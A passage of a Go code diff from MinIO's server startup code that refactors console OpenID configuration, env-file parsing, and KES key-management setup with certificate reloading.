+		// Explicitly set 127.0.0.1 so Console will automatically bypass TLS verification to the local S3 API.
+		// This will save users from providing a certificate with IP or FQDN SAN that points to the local host.
+		os.Setenv("CONSOLE_MINIO_SERVER", fmt.Sprintf("%s://127.0.0.1:%s", getURLScheme(globalIsTLS), globalMinioPort))
 	}
 	if value := env.Get("MINIO_LOG_QUERY_URL", ""); value != "" {
 		os.Setenv("CONSOLE_LOG_QUERY_URL", value)
@@ -197,42 +205,38 @@ func minioConfigToConsoleFeatures() {
 		}
 	}
 	// Enable if LDAP is enabled.
-	if globalLDAPConfig.Enabled {
+	if globalLDAPConfig.Enabled() {
 		os.Setenv("CONSOLE_LDAP_ENABLED", config.EnableOn)
 	}
-	// if IDP is enabled, set IDP environment variables
-	if globalOpenIDConfig.ProviderCfgs[config.Default] != nil {
-		os.Setenv("CONSOLE_IDP_URL", globalOpenIDConfig.ProviderCfgs[config.Default].URL.String())
-		os.Setenv("CONSOLE_IDP_CLIENT_ID", globalOpenIDConfig.ProviderCfgs[config.Default].ClientID)
-		os.Setenv("CONSOLE_IDP_SECRET", globalOpenIDConfig.ProviderCfgs[config.Default].ClientSecret)
-		os.Setenv("CONSOLE_IDP_HMAC_SALT", globalDeploymentID)
-		os.Setenv("CONSOLE_IDP_HMAC_PASSPHRASE", globalOpenIDConfig.ProviderCfgs[config.Default].ClientID)
-		os.Setenv("CONSOLE_IDP_SCOPES", strings.Join(globalOpenIDConfig.ProviderCfgs[config.Default].DiscoveryDoc.ScopesSupported, ","))
-		if globalOpenIDConfig.ProviderCfgs[config.Default].ClaimUserinfo {
-			os.Setenv("CONSOLE_IDP_USERINFO", config.EnableOn)
-		}
-		if globalOpenIDConfig.ProviderCfgs[config.Default].RedirectURIDynamic {
-			// Enable dynamic redirect-uri's based on incoming 'host' header,
-			// Overrides any other callback URL.
-			os.Setenv("CONSOLE_IDP_CALLBACK_DYNAMIC", config.EnableOn)
-		}
-		if globalOpenIDConfig.ProviderCfgs[config.Default].RedirectURI != "" {
-			os.Setenv("CONSOLE_IDP_CALLBACK", globalOpenIDConfig.ProviderCfgs[config.Default].RedirectURI)
-		} else {
-			os.Setenv("CONSOLE_IDP_CALLBACK", getConsoleEndpoints()[0]+"/oauth_callback")
-		}
-	}
 	os.Setenv("CONSOLE_MINIO_REGION", globalSite.Region)
 	os.Setenv("CONSOLE_CERT_PASSWD", env.Get("MINIO_CERT_PASSWD", ""))
-	if globalSubnetConfig.License != "" {
-		os.Setenv("CONSOLE_SUBNET_LICENSE", globalSubnetConfig.License)
-	}
-	if globalSubnetConfig.APIKey != "" {
-		os.Setenv("CONSOLE_SUBNET_API_KEY", globalSubnetConfig.APIKey)
-	}
-	if globalSubnetConfig.ProxyURL != nil {
-		os.Setenv("CONSOLE_SUBNET_PROXY", globalSubnetConfig.ProxyURL.String())
+
+	globalSubnetConfig.ApplyEnv()
+}
+
+func buildOpenIDConsoleConfig() consoleoauth2.OpenIDPCfg {
+	m := make(map[string]consoleoauth2.ProviderConfig, len(globalOpenIDConfig.ProviderCfgs))
+	for name, cfg := range globalOpenIDConfig.ProviderCfgs {
+		callback := getConsoleEndpoints()[0] + "/oauth_callback"
+		if cfg.RedirectURI != "" {
+			callback = cfg.RedirectURI
+		}
+		m[name] = consoleoauth2.ProviderConfig{
+			URL:                     cfg.URL.String(),
+			DisplayName:             cfg.DisplayName,
+			ClientID:                cfg.ClientID,
+			ClientSecret:            cfg.ClientSecret,
+			HMACSalt:                globalDeploymentID,
+			HMACPassphrase:          cfg.ClientID,
+			Scopes:                  strings.Join(cfg.DiscoveryDoc.ScopesSupported, ","),
+			Userinfo:                cfg.ClaimUserinfo,
+			RedirectCallbackDynamic: cfg.RedirectURIDynamic,
+			RedirectCallback:        callback,
+			EndSessionEndpoint:      cfg.DiscoveryDoc.EndSessionEndpoint,
+			RoleArn:                 cfg.GetRoleArn(),
+		}
 	}
+	return m
 }

 func initConsoleServer() (*restapi.Server, error) {
@@ -268,6 +272,12 @@ func initConsoleServer() (*restapi.Server, error) {
 		api.Logger = noLog
 	}

+	// Pass in console application config. This needs to happen before the
+	// ConfigureAPI() call.
+	restapi.GlobalMinIOConfig = restapi.MinIOConfig{
+		OpenIDProviders: buildOpenIDConsoleConfig(),
+	}
+
 	server := restapi.NewServer(api)
 	// register all APIs
 	server.ConfigureAPI()
@@ -293,22 +303,6 @@ func initConsoleServer() (*restapi.Server, error) {
 	return server, nil
 }

-func verifyObjectLayerFeatures(name string, objAPI ObjectLayer) {
-	if strings.HasPrefix(name, "gateway") {
-		if GlobalGatewaySSE.IsSet() && GlobalKMS == nil {
-			uiErr := config.ErrInvalidGWSSEEnvValue(nil).Msg("MINIO_GATEWAY_SSE set but KMS is not configured")
-			logger.Fatal(uiErr, "Unable to start gateway with SSE")
-		}
-	}
-
-	globalCompressConfigMu.Lock()
-	if globalCompressConfig.Enabled && !objAPI.IsCompressionSupported() {
-		logger.Fatal(errInvalidArgument,
-			"Compression support is requested but '%s' does not support compression", name)
-	}
-	globalCompressConfigMu.Unlock()
-}
-
 // Check for updates and print a notification message
 func checkUpdate(mode string) {
 	updateURL := minioReleaseInfoURL
@@ -425,7 +419,6 @@ func handleCommonCmdArgs(ctx *cli.Context) {
 		if err != nil {
 			logger.FatalIf(err, "Unable to get free port for console on the host")
 		}
-		globalMinioConsolePortAuto = true
 		consoleAddr = net.JoinHostPort("", p.String())
 	}

@@ -490,8 +483,13 @@ func parsEnvEntry(envEntry string) (envKV, error) {
 			Skip: true,
 		}, nil
 	}
-	const envSeparator = "="
-	envTokens := strings.SplitN(strings.TrimSpace(strings.TrimPrefix(envEntry, "export")), envSeparator, 2)
+	if strings.HasPrefix(envEntry, "#") {
+		// Skip commented lines
+		return envKV{
+			Skip: true,
+		}, nil
+	}
+	envTokens := strings.SplitN(strings.TrimSpace(strings.TrimPrefix(envEntry, "export")), config.EnvSeparator, 2)
 	if len(envTokens) != 2 {
 		return envKV{}, fmt.Errorf("envEntry malformed; %s, expected to be of form 'KEY=value'", envEntry)
 	}
@@ -499,13 +497,6 @@ func parsEnvEntry(envEntry string) (envKV, error) {
 	key := envTokens[0]
 	val := envTokens[1]

-	if strings.HasPrefix(key, "#") {
-		// Skip commented lines
-		return envKV{
-			Skip: true,
-		}, nil
-	}
-
 	// Remove quotes from the value if found
 	if len(val) >= 2 {
 		quote := val[0]
@@ -524,11 +515,8 @@ func parsEnvEntry(envEntry string) (envKV, error) {
 // the environment values from a file, in the form "key, value".
 // in a structured form.
 func minioEnvironFromFile(envConfigFile string) ([]envKV, error) {
-	f, err := os.Open(envConfigFile)
+	f, err := Open(envConfigFile)
 	if err != nil {
-		if os.IsNotExist(err) { // ignore if file doesn't exist.
-			return nil, nil
-		}
 		return nil, err
 	}
 	defer f.Close()
@@ -557,7 +545,7 @@ func readFromSecret(sp string) (string, error) {
 	if isFile(pathJoin("/run/secrets/", sp)) {
 		sp = pathJoin("/run/secrets/", sp)
 	}
-	credBuf, err := ioutil.ReadFile(sp)
+	credBuf, err := os.ReadFile(sp)
 	if err != nil {
 		if os.IsNotExist(err) { // ignore if file doesn't exist.
 			return "", nil
@@ -624,7 +612,7 @@ func loadEnvVarsFromFiles() {

 	if env.IsSet(config.EnvConfigEnvFile) {
 		ekvs, err := minioEnvironFromFile(env.Get(config.EnvConfigEnvFile, ""))
-		if err != nil {
+		if err != nil && !os.IsNotExist(err) {
 			logger.Fatal(err, "Unable to read the config environment file")
 		}
 		for _, ekv := range ekvs {
@@ -786,18 +774,25 @@ func handleCommonEnvVars() {
 			logger.Info(color.RedBold(msg))
 		}
 		globalActiveCred = cred
+	} else {
+		globalActiveCred = auth.DefaultCredentials
 	}
+}

+// Initialize KMS global variable after valiadating and loading the configuration.
+// It depends on KMS env variables and global cli flags.
+func handleKMSConfig() {
 	switch {
 	case env.IsSet(config.EnvKMSSecretKey) && env.IsSet(config.EnvKESEndpoint):
 		logger.Fatal(errors.New("ambigious KMS configuration"), fmt.Sprintf("The environment contains %q as well as %q", config.EnvKMSSecretKey, config.EnvKESEndpoint))
 	}

 	if env.IsSet(config.EnvKMSSecretKey) {
-		GlobalKMS, err = kms.Parse(env.Get(config.EnvKMSSecretKey, ""))
+		KMS, err := kms.Parse(env.Get(config.EnvKMSSecretKey, ""))
 		if err != nil {
 			logger.Fatal(err, "Unable to parse the KMS secret key inherited from the shell environment")
 		}
+		GlobalKMS = KMS
 	}
 	if env.IsSet(config.EnvKESEndpoint) {
 		var endpoints []string
@@ -817,43 +812,57 @@ func handleCommonEnvVars() {
 				endpoints = append(endpoints, strings.Join(lbls, ""))
 			}
 		}
-		// Manually load the certificate and private key into memory.
-		// We need to check whether the private key is encrypted, and
-		// if so, decrypt it using the user-provided password.
-		certBytes, err := os.ReadFile(env.Get(config.EnvKESClientCert, ""))
-		if err != nil {
-			logger.Fatal(err, "Unable to load KES client certificate as specified by the shell environment")
-		}
-		keyBytes, err := os.ReadFile(env.Get(config.EnvKESClientKey, ""))
-		if err != nil {
-			logger.Fatal(err, "Unable to load KES client private key as specified by the shell environment")
-		}
-		privateKeyPEM, rest := pem.Decode(bytes.TrimSpace(keyBytes))
-		if len(rest) != 0 {
-			logger.Fatal(errors.New("private key contains additional data"), "Unable to load KES client private key as specified by the shell environment")
-		}
-		if x509.IsEncryptedPEMBlock(privateKeyPEM) {
-			keyBytes, err = x509.DecryptPEMBlock(privateKeyPEM, []byte(env.Get(config.EnvKESClientPassword, "")))
-			if err != nil {
-				logger.Fatal(err, "Unable to decrypt KES client private key as specified by the shell environment")
-			}
-			keyBytes = pem.EncodeToMemory(&pem.Block{Type: privateKeyPEM.Type, Bytes: keyBytes})
-		}
-		certificate, err := tls.X509KeyPair(certBytes, keyBytes)
-		if err != nil {
-			logger.Fatal(err, "Unable to load KES client certificate as specified by the shell environment")
-		}
 		rootCAs, err := certs.GetRootCAs(env.Get(config.EnvKESServerCA, globalCertsCADir.Get()))
 		if err != nil {
 			logger.Fatal(err, fmt.Sprintf("Unable to load X.509 root CAs for KES from %q", env.Get(config.EnvKESServerCA, globalCertsCADir.Get())))
 		}

+		loadX509KeyPair := func(certFile, keyFile string) (tls.Certificate, error) {
+			// Manually load the certificate and private key into memory.
+			// We need to check whether the private key is encrypted, and
+			// if so, decrypt it using the user-provided password.
+			certBytes, err := os.ReadFile(certFile)
+			if err != nil {
+				return tls.Certificate{}, fmt.Errorf("Unable to load KES client certificate as specified by the shell environment: %v", err)
+			}
+			keyBytes, err := os.ReadFile(keyFile)
+			if err != nil {
+				return tls.Certificate{}, fmt.Errorf("Unable to load KES client private key as specified by the shell environment: %v", err)
+			}
+			privateKeyPEM, rest := pem.Decode(bytes.TrimSpace(keyBytes))
+			if len(rest) != 0 {
+				return tls.Certificate{}, errors.New("Unable to load KES client private key as specified by the shell environment: private key contains additional data")
+			}
+			if x509.IsEncryptedPEMBlock(privateKeyPEM) {
+				keyBytes, err = x509.DecryptPEMBlock(privateKeyPEM, []byte(env.Get(config.EnvKESClientPassword, "")))
+				if err != nil {
+					return tls.Certificate{}, fmt.Errorf("Unable to decrypt KES client private key as specified by the shell environment: %v", err)
+				}
+				keyBytes = pem.EncodeToMemory(&pem.Block{Type: privateKeyPEM.Type, Bytes: keyBytes})
+			}
+			certificate, err := tls.X509KeyPair(certBytes, keyBytes)
+			if err != nil {
+				return tls.Certificate{}, fmt.Errorf("Unable to load KES client certificate as specified by the shell environment: %v", err)
+			}
+			return certificate, nil
+		}
+
+		reloadCertEvents := make(chan tls.Certificate, 1)
+		certificate, err := certs.NewCertificate(env.Get(config.EnvKESClientCert, ""), env.Get(config.EnvKESClientKey, ""), loadX509KeyPair)
+		if err != nil {
+			logger.Fatal(err, "Failed to load KES client certificate")
+		}
+		certificate.Watch(context.Background(), 15*time.Minute, syscall.SIGHUP)
+		certificate.Notify(reloadCertEvents)
+
 		defaultKeyID := env.Get(config.EnvKESKeyName, "")
 		KMS, err := kms.NewWithConfig(kms.Config{
-			Endpoints:    endpoints,
-			DefaultKeyID: defaultKeyID,
-			Certificate:  certificate,
-			RootCAs:      rootCAs,
+			Endpoints:        endpoints,
+			Enclave:          env.Get(config.EnvKESEnclave, ""),
+			DefaultKeyID:     defaultKeyID,
+			Certificate:      certificate,
+			ReloadCertEvents: reloadCertEvents,
+			RootCAs:          rootCAs,
 		})
 		if err != nil {
 			logger.Fatal(err, "Unable to initialize a connection to KES as specified by the shell environment")
@@ -863,7 +872,7 @@ func handleCommonEnvVars() {
 		// This implicitly checks that we can communicate to KES. We don't treat
 		// a policy error as failure condition since MinIO may not have the permission
 		// to create keys - just to generate/decrypt data encryption keys.
-		if err = KMS.CreateKey(defaultKeyID); err != nil && !errors.Is(err, kes.ErrKeyExists) && !errors.Is(err, kes.ErrNotAllowed) {
+		if err = KMS.CreateKey(context.Background(), defaultKeyID); err != nil && !errors.Is(err, kes.ErrKeyExists) && !errors.Is(err, kes.ErrNotAllowed) {
 			logger.Fatal(err, "Unable to initialize a connection to KES as specified by the shell environment")
 		}
 		GlobalKMS = KMS
@@ -903,7 +912,7 @@ func getTLSConfig() (x509Certs []*x509.Certificate, manager *certs.Manager, secu
 	// Therefore, we read all filenames in the cert directory and check
 	// for each directory whether it contains a public.crt and private.key.
 	// If so, we try to add it to certificate manager.
-	root, err := os.Open(globalCertsDir.Get())
+	root, err := Open(globalCertsDir.Get())
 	if err != nil {
 		return nil, nil, false, err
 	}
@@ -922,7 +931,7 @@ func getTLSConfig() (x509Certs []*x509.Certificate, manager *certs.Manager, secu
 			continue
 		}
 		if file.Mode()&os.ModeSymlink == os.ModeSymlink {
-			file, err = os.Stat(filepath.Join(root.Name(), file.Name()))
+			file, err = Stat(filepath.Join(root.Name(), file.Name()))
 			if err != nil {
 				// not accessible ignore
 				continue
--- a/Show More
+++ b/Show More